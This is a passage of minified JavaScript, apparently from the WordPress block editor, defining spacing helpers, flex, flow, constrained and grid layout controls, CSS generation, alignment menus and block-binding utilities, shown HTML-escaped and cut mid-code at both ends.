wide&quot;),t)),i.test(o)&amp;&amp;(n.wide=(0,ih.sprintf)((0,ih.__)(&quot;Max %s wide&quot;),o)),n}var _s=l(N(),1);var XU=8,Su=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],QU={top:void 0,right:void 0,bottom:void 0,left:void 0},rC={custom:cw,axial:cw,horizontal:lN,vertical:fN,top:dN,right:uN,bottom:aN,left:cN},ha={default:(0,_s.__)(&quot;Spacing control&quot;),top:(0,_s.__)(&quot;Top&quot;),bottom:(0,_s.__)(&quot;Bottom&quot;),left:(0,_s.__)(&quot;Left&quot;),right:(0,_s.__)(&quot;Right&quot;),mixed:(0,_s.__)(&quot;Mixed&quot;),vertical:(0,_s.__)(&quot;Vertical&quot;),horizontal:(0,_s.__)(&quot;Horizontal&quot;),axial:(0,_s.__)(&quot;Horizontal &amp; vertical&quot;),custom:(0,_s.__)(&quot;Custom&quot;)},Cl={axial:&quot;axial&quot;,top:&quot;top&quot;,right:&quot;right&quot;,bottom:&quot;bottom&quot;,left:&quot;left&quot;,custom:&quot;custom&quot;};function nC(e){return e?.includes?e===&quot;0&quot;||e.includes(&quot;var:preset|spacing|&quot;):!1}function JU(e,t){if(!nC(e))return e;let o=Ove(e);return t.find(n=&gt;String(n.slug)===o)?.size}function sh(e,t){if(!e||nC(e)||e===&quot;0&quot;)return e;let o=t.find(r=&gt;String(r.size)===String(e));return o?.slug?`var:preset|spacing|${o.slug}`:e}function jv(e){if(!e)return;let t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function Ove(e){if(!e)return;if(e===&quot;0&quot;||e===&quot;default&quot;)return e;let t=e.match(/var:preset\|spacing\|(.+)/);return t?t[1]:void 0}function _M(e,t){if(!e||!e.length)return!1;let o=e.includes(&quot;horizontal&quot;)||e.includes(&quot;left&quot;)&amp;&amp;e.includes(&quot;right&quot;),r=e.includes(&quot;vertical&quot;)||e.includes(&quot;top&quot;)&amp;&amp;e.includes(&quot;bottom&quot;);return t===&quot;horizontal&quot;?o:t===&quot;vertical&quot;?r:o||r}function Ave(e=[]){let t={top:0,right:0,bottom:0,left:0};return e.forEach(o=&gt;t[o]+=1),(t.top+t.bottom)%2===0&amp;&amp;(t.left+t.right)%2===0}function eH(e={},t){let{top:o,right:r,bottom:n,left:i}=e,s=[o,r,n,i].filter(Boolean),a=o===n&amp;&amp;i===r&amp;&amp;(!!o||!!i),c=!s.length&amp;&amp;Ave(t),u=t?.includes(&quot;horizontal&quot;)&amp;&amp;t?.includes(&quot;vertical&quot;)&amp;&amp;t?.length===2;if(_M(t)&amp;&amp;(a||c))return Cl.axial;if(u&amp;&amp;s.length===1){let d;return Object.entries(e).some(([f,m])=&gt;(d=f,m!==void 0)),d}return t?.length===1&amp;&amp;!s.length?t[0]:Cl.custom}function Lve(e){if(!e)return null;let t=typeof e==&quot;string&quot;;return{top:t?e:e?.top,left:t?e:e?.left}}function mr(e,t=&quot;0&quot;){let o=Lve(e);if(!o)return null;let r=jv(o?.top)||t,n=jv(o?.left)||t;return r===n?r:`${r} ${n}`}var oo=l(w(),1),Nve={left:&quot;flex-start&quot;,right:&quot;flex-end&quot;,center:&quot;center&quot;,&quot;space-between&quot;:&quot;space-between&quot;},tH={left:&quot;flex-start&quot;,right:&quot;flex-end&quot;,center:&quot;center&quot;,stretch:&quot;stretch&quot;},Mve={top:&quot;flex-start&quot;,center:&quot;center&quot;,bottom:&quot;flex-end&quot;,stretch:&quot;stretch&quot;,&quot;space-between&quot;:&quot;space-between&quot;},oH={horizontal:&quot;center&quot;,vertical:&quot;top&quot;},Dve=[&quot;wrap&quot;,&quot;nowrap&quot;],nH={name:&quot;flex&quot;,label:(0,Pi.__)(&quot;Flex&quot;),inspectorControls:function({layout:t={},onChange:o,layoutBlockSupport:r={}}){let{allowOrientation:n=!0,allowJustification:i=!0,allowWrap:s=!0}=r;return(0,oo.jsxs)(oo.Fragment,{children:[(0,oo.jsxs)(mn.Flex,{children:[i&amp;&amp;(0,oo.jsx)(mn.FlexItem,{children:(0,oo.jsx)(rH,{layout:t,onChange:o})}),n&amp;&amp;(0,oo.jsx)(mn.FlexItem,{children:(0,oo.jsx)(jve,{layout:t,onChange:o})})]}),s&amp;&amp;(0,oo.jsx)(zve,{layout:t,onChange:o})]})},toolBarControls:function({layout:t={},onChange:o,layoutBlockSupport:r}){let{allowVerticalAlignment:n=!0,allowJustification:i=!0}=r;return!i&amp;&amp;!n?null:(0,oo.jsxs)(Mt,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:[i&amp;&amp;(0,oo.jsx)(rH,{layout:t,onChange:o,isToolbar:!0}),n&amp;&amp;(0,oo.jsx)(Vve,{layout:t,onChange:o})]})},getLayoutStyle:function({selector:t,layout:o,style:r,blockName:n,hasBlockGapSupport:i,globalBlockGapValue:s,layoutDefinitions:a=Hn}){let{orientation:c=&quot;horizontal&quot;}=o,u=&quot;0.5em&quot;;if(s){let k=mr(s,&quot;0.5em&quot;).split(&quot; &quot;);u=k.length&gt;1?k[1]:k[0]}let d=r?.spacing?.blockGap&amp;&amp;!Ue(n,&quot;spacing&quot;,&quot;blockGap&quot;)?mr(r?.spacing?.blockGap,u):void 0,f=Nve[o.justifyContent],m=Dve.includes(o.flexWrap)?o.flexWrap:&quot;wrap&quot;,h=Mve[o.verticalAlignment],p=tH[o.justifyContent]||tH.left,g=&quot;&quot;,b=[];return m&amp;&amp;m!==&quot;wrap&quot;&amp;&amp;b.push(`flex-wrap: ${m}`),c===&quot;horizontal&quot;?(h&amp;&amp;b.push(`align-items: ${h}`),f&amp;&amp;b.push(`justify-content: ${f}`)):(h&amp;&amp;b.push(`justify-content: ${h}`),b.push(&quot;flex-direction: column&quot;),b.push(`align-items: ${p}`)),b.length&amp;&amp;(g=`${Gn(t)} {
				${b.join(&quot;; &quot;)};
			}`),i&amp;&amp;d&amp;&amp;(g+=yu(t,a,&quot;flex&quot;,d)),g},getOrientation(e){let{orientation:t=&quot;horizontal&quot;}=e;return t},getAlignments(){return[]}};function Vve({layout:e,onChange:t}){let{orientation:o=&quot;horizontal&quot;}=e,r=o===&quot;horizontal&quot;?oH.horizontal:oH.vertical,{verticalAlignment:n=r}=e;return(0,oo.jsx)(iC,{onChange:s=&gt;{t({...e,verticalAlignment:s})},value:n,controls:o===&quot;horizontal&quot;?[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;,&quot;stretch&quot;]:[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;,&quot;space-between&quot;]})}var Fve={placement:&quot;bottom-start&quot;};function rH({layout:e,onChange:t,isToolbar:o=!1}){let{justifyContent:r=&quot;left&quot;,orientation:n=&quot;horizontal&quot;}=e,i=c=&gt;{t({...e,justifyContent:c})},s=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;];if(n===&quot;horizontal&quot;?s.push(&quot;space-between&quot;):s.push(&quot;stretch&quot;),o)return(0,oo.jsx)(ah,{allowedControls:s,value:r,onChange:i,popoverProps:Fve});let a=[{value:&quot;left&quot;,icon:ru,label:(0,Pi.__)(&quot;Justify items left&quot;)},{value:&quot;center&quot;,icon:ou,label:(0,Pi.__)(&quot;Justify items center&quot;)},{value:&quot;right&quot;,icon:nu,label:(0,Pi.__)(&quot;Justify items right&quot;)}];return n===&quot;horizontal&quot;?a.push({value:&quot;space-between&quot;,icon:Fp,label:(0,Pi.__)(&quot;Space between items&quot;)}):a.push({value:&quot;stretch&quot;,icon:zp,label:(0,Pi.__)(&quot;Stretch items&quot;)}),(0,oo.jsx)(mn.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Pi.__)(&quot;Justification&quot;),value:r,onChange:i,className:&quot;block-editor-hooks__flex-layout-justification-controls&quot;,children:a.map(({value:c,icon:u,label:d})=&gt;(0,oo.jsx)(mn.__experimentalToggleGroupControlOptionIcon,{value:c,icon:u,label:d},c))})}function zve({layout:e,onChange:t}){let{flexWrap:o=&quot;wrap&quot;}=e;return(0,oo.jsx)(mn.ToggleControl,{label:(0,Pi.__)(&quot;Allow to wrap to multiple lines&quot;),onChange:r=&gt;{t({...e,flexWrap:r?&quot;wrap&quot;:&quot;nowrap&quot;})},checked:o===&quot;wrap&quot;})}function jve({layout:e,onChange:t}){let{orientation:o=&quot;horizontal&quot;,verticalAlignment:r,justifyContent:n}=e;return(0,oo.jsxs)(mn.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,className:&quot;block-editor-hooks__flex-layout-orientation-controls&quot;,label:(0,Pi.__)(&quot;Orientation&quot;),value:o,onChange:i=&gt;{let s=r,a=n;return i===&quot;horizontal&quot;?(r===&quot;space-between&quot;&amp;&amp;(s=&quot;center&quot;),n===&quot;stretch&quot;&amp;&amp;(a=&quot;left&quot;)):(r===&quot;stretch&quot;&amp;&amp;(s=&quot;top&quot;),n===&quot;space-between&quot;&amp;&amp;(a=&quot;left&quot;)),t({...e,orientation:i,verticalAlignment:s,justifyContent:a})},children:[(0,oo.jsx)(mn.__experimentalToggleGroupControlOptionIcon,{icon:Qk,value:&quot;horizontal&quot;,label:(0,Pi.__)(&quot;Horizontal&quot;)}),(0,oo.jsx)(mn.__experimentalToggleGroupControlOptionIcon,{icon:DO,value:&quot;vertical&quot;,label:(0,Pi.__)(&quot;Vertical&quot;)})]})}var iH=l(N(),1);var sH={name:&quot;default&quot;,label:(0,iH.__)(&quot;Flow&quot;),inspectorControls:function(){return null},toolBarControls:function(){return null},getLayoutStyle:function({selector:t,style:o,blockName:r,hasBlockGapSupport:n,layoutDefinitions:i=Hn}){let s=mr(o?.spacing?.blockGap),a=&quot;&quot;;Ue(r,&quot;spacing&quot;,&quot;blockGap&quot;)||(s?.top?a=mr(s?.top):typeof s==&quot;string&quot;&amp;&amp;(a=mr(s)));let c=&quot;&quot;;return n&amp;&amp;a&amp;&amp;(c+=yu(t,i,&quot;default&quot;,a)),c},getOrientation(){return&quot;vertical&quot;},getAlignments(e,t){let o=oC(e);if(e.alignments!==void 0)return e.alignments.includes(&quot;none&quot;)||e.alignments.unshift(&quot;none&quot;),e.alignments.map(n=&gt;({name:n,info:o[n]}));let r=[{name:&quot;left&quot;},{name:&quot;center&quot;},{name:&quot;right&quot;}];if(!t){let{contentSize:n,wideSize:i}=e;n&amp;&amp;r.unshift({name:&quot;full&quot;}),i&amp;&amp;r.unshift({name:&quot;wide&quot;,info:o.wide})}return r.unshift({name:&quot;none&quot;,info:o.none}),r}};var pn=l(A(),1),Bl=l(N(),1);var lH=l(Uv(),1);var Qo=l(w(),1),cH={name:&quot;constrained&quot;,label:(0,Bl.__)(&quot;Constrained&quot;),inspectorControls:function({layout:t,onChange:o,layoutBlockSupport:r={}}){let{wideSize:n,contentSize:i,justifyContent:s=&quot;center&quot;}=t,{allowJustification:a=!0,allowCustomContentAndWideSize:c=!0}=r,u=h=&gt;{o({...t,justifyContent:h})},d=[{value:&quot;left&quot;,icon:ru,label:(0,Bl.__)(&quot;Justify items left&quot;)},{value:&quot;center&quot;,icon:ou,label:(0,Bl.__)(&quot;Justify items center&quot;)},{value:&quot;right&quot;,icon:nu,label:(0,Bl.__)(&quot;Justify items right&quot;)}],[f]=me(&quot;spacing.units&quot;),m=(0,pn.__experimentalUseCustomUnits)({availableUnits:f||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;]});return(0,Qo.jsxs)(pn.__experimentalVStack,{spacing:4,className:&quot;block-editor-hooks__layout-constrained&quot;,children:[c&amp;&amp;(0,Qo.jsxs)(Qo.Fragment,{children:[(0,Qo.jsx)(pn.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Bl.__)(&quot;Content width&quot;),labelPosition:&quot;top&quot;,value:i||n||&quot;&quot;,onChange:h=&gt;{h=0&gt;parseFloat(h)?&quot;0&quot;:h,o({...t,contentSize:h!==&quot;&quot;?h:void 0})},units:m,prefix:(0,Qo.jsx)(pn.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,Qo.jsx)(we,{icon:_f})})}),(0,Qo.jsx)(pn.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Bl.__)(&quot;Wide width&quot;),labelPosition:&quot;top&quot;,value:n||i||&quot;&quot;,onChange:h=&gt;{h=0&gt;parseFloat(h)?&quot;0&quot;:h,o({...t,wideSize:h!==&quot;&quot;?h:void 0})},units:m,prefix:(0,Qo.jsx)(pn.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,Qo.jsx)(we,{icon:Lf})})}),(0,Qo.jsx)(&quot;p&quot;,{className:&quot;block-editor-hooks__layout-constrained-helptext&quot;,children:(0,Bl.__)(&quot;Customize the width for all elements that are assigned to the center or wide columns.&quot;)})]}),a&amp;&amp;(0,Qo.jsx)(pn.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Bl.__)(&quot;Justification&quot;),value:s,onChange:u,children:d.map(({value:h,icon:p,label:g})=&gt;(0,Qo.jsx)(pn.__experimentalToggleGroupControlOptionIcon,{value:h,icon:p,label:g},h))})]})},toolBarControls:function({layout:t={},onChange:o,layoutBlockSupport:r}){let{allowJustification:n=!0}=r;return n?(0,Qo.jsx)(Mt,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,Qo.jsx)(Hve,{layout:t,onChange:o})}):null},getLayoutStyle:function({selector:t,layout:o={},style:r,blockName:n,hasBlockGapSupport:i,layoutDefinitions:s=Hn}){let{contentSize:a,wideSize:c,justifyContent:u}=o,d=mr(r?.spacing?.blockGap),f=&quot;&quot;;Ue(n,&quot;spacing&quot;,&quot;blockGap&quot;)||(d?.top?f=mr(d?.top):typeof d==&quot;string&quot;&amp;&amp;(f=mr(d)));let m=u===&quot;left&quot;?&quot;0 !important&quot;:&quot;auto !important&quot;,h=u===&quot;right&quot;?&quot;0 !important&quot;:&quot;auto !important&quot;,p=a||c?`
					${Gn(t,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)} {
						max-width: ${a??c};
						margin-left: ${m};
						margin-right: ${h};
					}
					${Gn(t,&quot;&gt; .alignwide&quot;)}  {
						max-width: ${c??a};
					}
					${Gn(t,&quot;&gt; .alignfull&quot;)} {
						max-width: none;
					}
				`:&quot;&quot;;return u===&quot;left&quot;?p+=`${Gn(t,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)}
			{ margin-left: ${m}; }`:u===&quot;right&quot;&amp;&amp;(p+=`${Gn(t,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)}
			{ margin-right: ${h}; }`),r?.spacing?.padding&amp;&amp;(0,lH.getCSSRules)(r).forEach(b=&gt;{if(b.key===&quot;paddingRight&quot;){let v=b.value===&quot;0&quot;?&quot;0px&quot;:b.value;p+=`
					${Gn(t,&quot;&gt; .alignfull&quot;)} {
						margin-right: calc(${v} * -1);
					}
					`}else if(b.key===&quot;paddingLeft&quot;){let v=b.value===&quot;0&quot;?&quot;0px&quot;:b.value;p+=`
					${Gn(t,&quot;&gt; .alignfull&quot;)} {
						margin-left: calc(${v} * -1);
					}
					`}}),i&amp;&amp;f&amp;&amp;(p+=yu(t,s,&quot;constrained&quot;,f)),p},getOrientation(){return&quot;vertical&quot;},getAlignments(e){let t=oC(e);if(e.alignments!==void 0)return e.alignments.includes(&quot;none&quot;)||e.alignments.unshift(&quot;none&quot;),e.alignments.map(i=&gt;({name:i,info:t[i]}));let{contentSize:o,wideSize:r}=e,n=[{name:&quot;left&quot;},{name:&quot;center&quot;},{name:&quot;right&quot;}];return o&amp;&amp;n.unshift({name:&quot;full&quot;}),r&amp;&amp;n.unshift({name:&quot;wide&quot;,info:t.wide}),n.unshift({name:&quot;none&quot;,info:t.none}),n}},Uve={placement:&quot;bottom-start&quot;};function Hve({layout:e,onChange:t}){let{justifyContent:o=&quot;center&quot;}=e;return(0,Qo.jsx)(ah,{allowedControls:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],value:o,onChange:i=&gt;{t({...e,justifyContent:i})},popoverProps:Uve})}var Fr=l(N(),1),nt=l(A(),1),sC=l(R(),1);var Ye=l(w(),1),Gve={px:600,&quot;%&quot;:100,vw:100,vh:100,em:38,rem:38,svw:100,lvw:100,dvw:100,svh:100,lvh:100,dvh:100,vi:100,svi:100,lvi:100,dvi:100,vb:100,svb:100,lvb:100,dvb:100,vmin:100,svmin:100,lvmin:100,dvmin:100,vmax:100,svmax:100,lvmax:100,dvmax:100},Wve=[{value:&quot;px&quot;,label:&quot;px&quot;,default:0},{value:&quot;rem&quot;,label:&quot;rem&quot;,default:0},{value:&quot;em&quot;,label:&quot;em&quot;,default:0}],uH={name:&quot;grid&quot;,label:(0,Fr.__)(&quot;Grid&quot;),inspectorControls:function({layout:t={},onChange:o,layoutBlockSupport:r={}}){let{allowSizingOnChildren:n=!1}=r,i=!0,s=!t?.isManualPlacement||window.__experimentalEnableGridInteractivity;return(0,Ye.jsxs)(Ye.Fragment,{children:[window.__experimentalEnableGridInteractivity&amp;&amp;(0,Ye.jsx)(Yve,{layout:t,onChange:o}),(0,Ye.jsxs)(nt.__experimentalVStack,{spacing:4,children:[i&amp;&amp;(0,Ye.jsx)(Kve,{layout:t,onChange:o,allowSizingOnChildren:n}),s&amp;&amp;(0,Ye.jsx)($ve,{layout:t,onChange:o})]})]})},toolBarControls:function(){return null},getLayoutStyle:function({selector:t,layout:o,style:r,blockName:n,hasBlockGapSupport:i,globalBlockGapValue:s,layoutDefinitions:a=Hn}){let{minimumColumnWidth:c=null,columnCount:u=null,rowCount:d=null}=o,f=&quot;1.2rem&quot;;if(s){let b=mr(s,&quot;0.5em&quot;).split(&quot; &quot;);f=b.length&gt;1?b[1]:b[0]}let m=r?.spacing?.blockGap&amp;&amp;!Ue(n,&quot;spacing&quot;,&quot;blockGap&quot;)?mr(r?.spacing?.blockGap,f):void 0,h=&quot;&quot;,p=[];if(c&amp;&amp;u&gt;0){let g=m||f;(g===&quot;0&quot;||g===0)&amp;&amp;(g=&quot;0px&quot;);let b=`max(min( ${c}, 100%), ( 100% - (${g}*${u-1}) ) / ${u})`;p.push(`grid-template-columns: repeat(auto-fill, minmax(${b}, 1fr))`,&quot;container-type: inline-size&quot;),d&amp;&amp;p.push(`grid-template-rows: repeat(${d}, minmax(1rem, auto))`)}else u?(p.push(`grid-template-columns: repeat(${u}, minmax(0, 1fr))`),d&amp;&amp;p.push(`grid-template-rows: repeat(${d}, minmax(1rem, auto))`)):p.push(`grid-template-columns: repeat(auto-fill, minmax(min(${c||&quot;12rem&quot;}, 100%), 1fr))`,&quot;container-type: inline-size&quot;);return p.length&amp;&amp;(h=`${Gn(t)} { ${p.join(&quot;; &quot;)}; }`),i&amp;&amp;m&amp;&amp;(h+=yu(t,a,&quot;grid&quot;,m)),h},getOrientation(){return&quot;horizontal&quot;},getAlignments(){return[]}};function $ve({layout:e,onChange:t}){let{minimumColumnWidth:o,columnCount:r,isManualPlacement:n}=e,s=o||(n||r?null:&quot;12rem&quot;),[a,c=&quot;rem&quot;]=(0,nt.__experimentalParseQuantityAndUnitFromRawValue)(s),u=f=&gt;{t({...e,minimumColumnWidth:[f,c].join(&quot;&quot;)})},d=f=&gt;{let m;[&quot;em&quot;,&quot;rem&quot;].includes(f)&amp;&amp;c===&quot;px&quot;?m=(a/16).toFixed(2)+f:[&quot;em&quot;,&quot;rem&quot;].includes(c)&amp;&amp;f===&quot;px&quot;&amp;&amp;(m=Math.round(a*16)+f),t({...e,minimumColumnWidth:m})};return(0,Ye.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-hooks__grid-layout-minimum-width-control&quot;,children:[(0,Ye.jsx)(nt.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,Fr.__)(&quot;Min. column width&quot;)}),(0,Ye.jsxs)(nt.Flex,{gap:4,children:[(0,Ye.jsx)(nt.FlexItem,{isBlock:!0,children:(0,Ye.jsx)(nt.__experimentalUnitControl,{size:&quot;__unstable-large&quot;,onChange:f=&gt;{t({...e,minimumColumnWidth:f===&quot;&quot;?void 0:f})},onUnitChange:d,value:s,units:Wve,min:0,label:(0,Fr.__)(&quot;Minimum column width&quot;),hideLabelFromVision:!0})}),(0,Ye.jsx)(nt.FlexItem,{isBlock:!0,children:(0,Ye.jsx)(nt.RangeControl,{__next40pxDefaultSize:!0,onChange:u,value:a||0,min:0,max:Gve[c]||600,withInputField:!1,label:(0,Fr.__)(&quot;Minimum column width&quot;),hideLabelFromVision:!0})})]}),(0,Ye.jsx)(&quot;p&quot;,{className:&quot;components-base-control__help&quot;,children:(0,Fr.__)(&quot;Columns will wrap to fewer per row when they can no longer maintain the minimum width.&quot;)})]})}function Kve({layout:e,onChange:t,allowSizingOnChildren:o}){let{columnCount:n=void 0,rowCount:i,isManualPlacement:s}=e;return(0,Ye.jsx)(Ye.Fragment,{children:(0,Ye.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-hooks__grid-layout-columns-and-rows-controls&quot;,children:[!s&amp;&amp;(0,Ye.jsx)(nt.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,Fr.__)(&quot;Max. columns&quot;)}),(0,Ye.jsxs)(nt.Flex,{gap:4,children:[(0,Ye.jsx)(nt.FlexItem,{isBlock:!0,children:(0,Ye.jsx)(nt.__experimentalNumberControl,{size:&quot;__unstable-large&quot;,onChange:a=&gt;{let u=a===&quot;&quot;||a===&quot;0&quot;?s?1:void 0:parseInt(a,10);t({...e,columnCount:u})},value:n,min:1,label:(0,Fr.__)(&quot;Columns&quot;),hideLabelFromVision:!s})}),(0,Ye.jsx)(nt.FlexItem,{isBlock:!0,children:o&amp;&amp;s?(0,Ye.jsx)(nt.__experimentalNumberControl,{size:&quot;__unstable-large&quot;,onChange:a=&gt;{let c=a===&quot;&quot;||a===&quot;0&quot;?1:parseInt(a,10);t({...e,rowCount:c})},value:i,min:1,label:(0,Fr.__)(&quot;Rows&quot;)}):(0,Ye.jsx)(nt.RangeControl,{__next40pxDefaultSize:!0,value:n??1,onChange:a=&gt;t({...e,columnCount:a===&quot;&quot;||a===&quot;0&quot;?1:a}),min:1,max:16,withInputField:!1,label:(0,Fr.__)(&quot;Columns&quot;),hideLabelFromVision:!0})})]})]})})}function Yve({layout:e,onChange:t}){let{columnCount:o,rowCount:r,minimumColumnWidth:n,isManualPlacement:i}=e,[s,a]=(0,sC.useState)(o||3),[c,u]=(0,sC.useState)(r),[d,f]=(0,sC.useState)(n||&quot;12rem&quot;),m=i?&quot;manual&quot;:&quot;auto&quot;,h=g=&gt;{g===&quot;manual&quot;?f(n||&quot;12rem&quot;):(a(o||3),u(r)),t({...e,columnCount:s,rowCount:g===&quot;manual&quot;?c:void 0,isManualPlacement:g===&quot;manual&quot;?!0:void 0,minimumColumnWidth:g===&quot;auto&quot;?d:null})},p=m===&quot;manual&quot;?(0,Fr.__)(&quot;Grid items can be manually placed in any position on the grid.&quot;):(0,Fr.__)(&quot;Grid items are placed automatically depending on their order.&quot;);return(0,Ye.jsxs)(nt.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Fr.__)(&quot;Grid item position&quot;),value:m,onChange:h,isBlock:!0,help:p,children:[(0,Ye.jsx)(nt.__experimentalToggleGroupControlOption,{value:&quot;auto&quot;,label:(0,Fr.__)(&quot;Auto&quot;)},&quot;auto&quot;),(0,Ye.jsx)(nt.__experimentalToggleGroupControlOption,{value:&quot;manual&quot;,label:(0,Fr.__)(&quot;Manual&quot;)},&quot;manual&quot;)]})}var dH=[sH,nH,cH,uH];function xs(e=&quot;default&quot;){return dH.find(t=&gt;t.name===e)}function fH(){return dH}var xM=l(w(),1),wM={type:&quot;default&quot;},CM=(0,aC.createContext)(wM);CM.displayName=&quot;BlockLayoutContext&quot;;var mH=CM.Provider;function Uf(){return(0,aC.useContext)(CM)}function pH({layout:e={},css:t,...o}){let r=xs(e.type),[n]=me(&quot;spacing.blockGap&quot;),i=n!==null;if(r){if(t)return(0,xM.jsx)(&quot;style&quot;,{children:t});let s=r.getLayoutStyle?.({hasBlockGapSupport:i,layout:e,...o});if(s)return(0,xM.jsx)(&quot;style&quot;,{children:s})}return null}var lC=[],hH=[&quot;none&quot;,&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;wide&quot;,&quot;full&quot;],qve=[&quot;wide&quot;,&quot;full&quot;];function Hv(e=hH){e.includes(&quot;none&quot;)||(e=[&quot;none&quot;,...e]);let t=e.length===1&amp;&amp;e[0]===&quot;none&quot;,[o,r,n]=(0,gH.useSelect)(c=&gt;{if(t)return[!1,!1,!1];let u=c(_).getSettings();return[u.alignWide??!1,u.supportsLayout,u.__unstableIsBlockBasedTheme]},[t]),i=Uf();if(t)return lC;let s=xs(i?.type);if(r){let u=s.getAlignments(i,n).filter(d=&gt;e.includes(d.name));return u.length===1&amp;&amp;u[0].name===&quot;none&quot;?lC:u}if(s.name!==&quot;default&quot;&amp;&amp;s.name!==&quot;constrained&quot;)return lC;let a=e.filter(c=&gt;i.alignments?i.alignments.includes(c):!o&amp;&amp;qve.includes(c)?!1:hH.includes(c)).map(c=&gt;({name:c}));return a.length===1&amp;&amp;a[0].name===&quot;none&quot;?lC:a}var _u=l(N(),1);var Gv={none:{icon:_f,title:(0,_u._x)(&quot;None&quot;,&quot;Alignment option&quot;)},left:{icon:zL,title:(0,_u.__)(&quot;Align left&quot;)},center:{icon:VL,title:(0,_u.__)(&quot;Align center&quot;)},right:{icon:UL,title:(0,_u.__)(&quot;Align right&quot;)},wide:{icon:Lf,title:(0,_u.__)(&quot;Wide width&quot;)},full:{icon:_v,title:(0,_u.__)(&quot;Full width&quot;)}},bH=&quot;none&quot;;var Hf=l(w(),1);function Zve({value:e,onChange:t,controls:o,isToolbar:r,isCollapsed:n=!0}){let i=Hv(o);if(!!!i.length)return null;function a(h){t([e,&quot;none&quot;].includes(h)?void 0:h)}let c=Gv[e],u=Gv[bH],d=r?xu.ToolbarGroup:xu.ToolbarDropdownMenu,f={icon:c?c.icon:u.icon,label:(0,BM.__)(&quot;Align&quot;)},m=r?{isCollapsed:n,controls:i.map(({name:h})=&gt;({...Gv[h],isActive:e===h||!e&amp;&amp;h===&quot;none&quot;,role:n?&quot;menuitemradio&quot;:void 0,onClick:()=&gt;a(h)}))}:{toggleProps:{description:(0,BM.__)(&quot;Change alignment&quot;)},children:({onClose:h})=&gt;(0,Hf.jsx)(Hf.Fragment,{children:(0,Hf.jsx)(xu.MenuGroup,{className:&quot;block-editor-block-alignment-control__menu-group&quot;,children:i.map(({name:p,info:g})=&gt;{let{icon:b,title:v}=Gv[p],k=p===e||!e&amp;&amp;p===&quot;none&quot;;return(0,Hf.jsx)(xu.MenuItem,{icon:b,iconPosition:&quot;left&quot;,className:V(&quot;components-dropdown-menu__menu-item&quot;,{&quot;is-active&quot;:k}),isSelected:k,onClick:()=&gt;{a(p),h()},role:&quot;menuitemradio&quot;,info:g,children:v},p)})})})};return(0,Hf.jsx)(d,{...f,...m})}var EM=Zve;var TM=l(w(),1),cC=e=&gt;(0,TM.jsx)(EM,{...e,isToolbar:!1}),kH=e=&gt;(0,TM.jsx)(EM,{...e,isToolbar:!0});var xH=l(yf(),1),mC=l(N(),1),pC=l($(),1),Cs=l(A(),1),RM=l(F(),1),wH=l(R(),1),CH=l(Z(),1);var PM=l(yf(),1),vH=l($(),1),yH=l(A(),1),SH=l(F(),1),dC=l(R(),1),_H=l(Z(),1);var uC=l(F(),1);function IM(e){return!e||Object.keys(e).length===0}function El(e){let{clientId:t}=Ie(),o=e||t,{updateBlockAttributes:r}=(0,uC.useDispatch)(_),{getBlockAttributes:n}=(0,uC.useRegistry)().select(_);return{updateBlockBindings:a=&gt;{let{metadata:{bindings:c,...u}={}}=n(o),d={...c};Object.entries(a).forEach(([m,h])=&gt;{if(!h&amp;&amp;d[m]){delete d[m];return}d[m]=h});let f={...u,bindings:d};IM(f.bindings)&amp;&amp;delete f.bindings,r(o,{metadata:IM(f)?void 0:f})},removeAllBlockBindings:()=&gt;{let{metadata:{bindings:a,...c}={}}=n(o);r(o,{metadata:IM(c)?void 0:c})}}}var ws=l(w(),1),{Menu:wu}=M(yH.privateApis);function Xve({args:e,attribute:t,field:o,source:r,sourceKey:n}){let i=(0,dC.useMemo)(()=&gt;({source:n,args:o.args||{key:o.key}}),[o.args,o.key,n]),s=(0,dC.useContext)(xr),a=(0,SH.useSelect)(u=&gt;r.getValues({select:u,context:s,bindings:{[t]:i}}),[t,s,i,r]),{updateBlockBindings:c}=El();return(0,ws.jsxs)(wu.CheckboxItem,{onChange:()=&gt;{let u=(0,PM.default)(e,o.args)??o.key===e?.key;c(u?{[t]:void 0}:{[t]:i})},name:t+&quot;-binding&quot;,value:a[t],checked:(0,PM.default)(e,o.args)??o.key===e?.key,children:[(0,ws.jsx)(wu.ItemLabel,{children:o.label}),(0,ws.jsx)(wu.ItemHelpText,{children:a[t]})]})}function Wv({args:e,attribute:t,sourceKey:o,fields:r}){let n=(0,_H.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);if(!r||r.length===0)return null;let i=(0,vH.getBlockBindingsSource)(o);return(0,ws.jsxs)(wu,{placement:n?&quot;bottom-start&quot;:&quot;left-start&quot;,children:[(0,ws.jsx)(wu.SubmenuTriggerItem,{children:(0,ws.jsx)(wu.ItemLabel,{children:i.label})}),(0,ws.jsx)(wu.Popover,{gutter:8,children:(0,ws.jsx)(wu.Group,{children:r.map(s=&gt;(0,ws.jsx)(Xve,{args:e,attribute:t,field:s,source:i,sourceKey:o},o+JSON.stringify(s.args)||s.key))})})]},o)}var 